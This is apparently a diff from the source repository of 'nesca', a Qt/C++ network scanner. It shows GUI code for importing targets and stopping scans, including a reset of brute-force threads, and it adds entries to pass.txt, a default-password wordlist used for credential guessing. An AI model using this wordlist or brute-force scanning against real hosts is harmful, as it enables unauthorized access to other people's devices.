|
if (importFileName.size() == 0) fileName = QFileDialog::getOpenFileName(this, tr("Open File"),
|
||||||
|
"",
|
||||||
|
tr("Files (*.txt)")
|
||||||
|
);
|
||||||
|
else fileName = importFileName;
|
||||||
|
|
||||||
|
if (fileName != "")
|
||||||
|
{
|
||||||
|
stopFirst = false;
|
||||||
|
ui->tabMainWidget->setTabEnabled(0, false);
|
||||||
|
ui->tabMainWidget->setTabEnabled(1, false);
|
||||||
|
|
||||||
|
_LoadPersInfoToLocalVars(savedTabIndex);
|
||||||
|
|
||||||
|
stt->setMode(-1);
|
||||||
|
stt->setTarget(fileName);
|
||||||
|
stt->setPorts(ui->importPortLine->text().replace(" ", ""));
|
||||||
|
stt->start();
|
||||||
|
|
||||||
|
startFlag = true;
|
||||||
|
pbTh->start();
|
||||||
|
ui->importButton->setText("Stop");
|
||||||
|
ui->importButton->setStyleSheet(
|
||||||
|
" #importButton {"
|
||||||
|
"background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));"
|
||||||
|
"color: red;"
|
||||||
|
"border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));"
|
||||||
|
"}"
|
||||||
|
);
|
||||||
|
ui->dataText->clear();
|
||||||
|
}
|
||||||
|
else stt->doEmitionYellowFoundData("Empty filename.");
|
||||||
|
}
|
||||||
|
|
||||||
void nesca_3::logoLabelClicked()
|
void nesca_3::logoLabelClicked()
|
||||||
{
|
{
|
||||||
QDesktopServices::openUrl(QUrl("http://nesca.d3w.org/"));
|
QDesktopServices::openUrl(QUrl("http://nesca.d3w.org/"));
|
||||||
@ -2994,7 +2974,7 @@ nesca_3::nesca_3(QWidget *parent) : QMainWindow(parent)
|
|||||||
ui->logoLabel->setToolTip("v3-" + QString(gVER));
|
ui->logoLabel->setToolTip("v3-" + QString(gVER));
|
||||||
ui->logoLabel->setStyleSheet("color:white; border: none;background-color:black;");
|
ui->logoLabel->setStyleSheet("color:white; border: none;background-color:black;");
|
||||||
ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);");
|
ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);");
|
||||||
|
|
||||||
CreateVerFile();
|
CreateVerFile();
|
||||||
RestoreSession();
|
RestoreSession();
|
||||||
|
|
||||||
@ -3010,8 +2990,7 @@ nesca_3::nesca_3(QWidget *parent) : QMainWindow(parent)
|
|||||||
qApp->quit();
|
qApp->quit();
|
||||||
};
|
};
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
|
||||||
std::thread fuThread(FileDownloader::checkWebFiles);
|
std::thread fuThread(FileDownloader::checkWebFiles);
|
||||||
fuThread.detach();
|
fuThread.detach();
|
||||||
|
|
||||||
@ -3024,4 +3003,23 @@ nesca_3::nesca_3(QWidget *parent) : QMainWindow(parent)
|
|||||||
nesca_3::~nesca_3()
|
nesca_3::~nesca_3()
|
||||||
{
|
{
|
||||||
delete[] ui;
|
delete[] ui;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void nesca_3::STTTerminate()
|
||||||
|
{
|
||||||
|
globalScanFlag = false;
|
||||||
|
startFlag = false;
|
||||||
|
importFileName = "";
|
||||||
|
ui->tabMainWidget->setTabEnabled(0, true);
|
||||||
|
ui->tabMainWidget->setTabEnabled(1, true);
|
||||||
|
ui->tabMainWidget->setTabEnabled(2, true);
|
||||||
|
ui->tabMainWidget->setTabEnabled(3, true);
|
||||||
|
BrutingThrds = 0;
|
||||||
|
setButtonStyleArea();
|
||||||
|
stt->doEmitionUpdateArc(0);
|
||||||
|
ui->startScanButton_3->setText("Start");
|
||||||
|
ui->startScanButton_4->setText("Start");
|
||||||
|
ui->importButton->setText("Import");
|
||||||
|
ui->labelStatus_Value->setText("Idle");
|
||||||
|
Threader::cleanUp();
|
||||||
|
}
|
||||||
|
4
pass.txt
4
pass.txt
@ -39,6 +39,10 @@ dreambox
|
|||||||
master
|
master
|
||||||
12345678
|
12345678
|
||||||
666666
|
666666
|
||||||
|
888888
|
||||||
|
777777
|
||||||
|
555555
|
||||||
|
111222333
|
||||||
123123123
|
123123123
|
||||||
123454321
|
123454321
|
||||||
0123456789
|
0123456789
|
||||||
|
@ -21,7 +21,7 @@ void _checkVer()
|
|||||||
if(strcmp(gVER, ptr1 + 4) != 0)
|
if(strcmp(gVER, ptr1 + 4) != 0)
|
||||||
{
|
{
|
||||||
stt->doEmitionFoundData("<br><font color=\"Pink\">======Update required======<br>Latest version: " + QString(ptr1 + 4) +
|
stt->doEmitionFoundData("<br><font color=\"Pink\">======Update required======<br>Latest version: " + QString(ptr1 + 4) +
|
||||||
"<br>Your version: " + QString(gVER) + "<br>=======================</font>");
|
"<br>Your version: " + QString(gVER) + "<br>=========================</font>");
|
||||||
stt->doEmitionShowRedVersion();
|
stt->doEmitionShowRedVersion();
|
||||||
};
|
};
|
||||||
};
|
};
|
||||||
|
Loading…
Reference in New Issue
Block a user